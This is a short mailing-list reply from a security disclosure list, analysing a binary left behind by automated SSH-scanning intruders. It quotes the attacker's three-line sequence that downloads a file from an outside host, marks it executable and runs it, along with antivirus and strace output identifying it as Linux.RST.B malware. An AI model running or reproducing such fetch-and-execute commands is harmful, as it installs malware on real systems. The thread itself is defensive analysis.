Re: Betr.: RE: [Full-Disclosure] Automated ssh scanning

[Christian <evilninja@xxxxxxx>]

Andrew Farmer wrote:
> > If you take a look at this bit:
> >
> > wget www.bo2k-rulez.net/a
> > chmod +x a
> > ./a
[...]
> Whatever it is, it doesn't work under 2.6.7:
>
>     peon % ./a
> (long pause)
>     [-] Unable to determine kernel address: Operation not supported
>     zsh: segmentation fault  ./a
>     peon %

$ clamscan a
a: Linux.RST.B FOUND

here i have linux 2.6.8.1, strace gives

ptrace(PTRACE_TRACEME, 0, 0x1, 0) = -1 EPERM (Operation not permitted)
_exit(0)                                = ?

on the child, the parent just tries to use brk() thousands of times,
without doing something else.

--
BOFH excuse #279:

The static electricity routing is acting up...

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html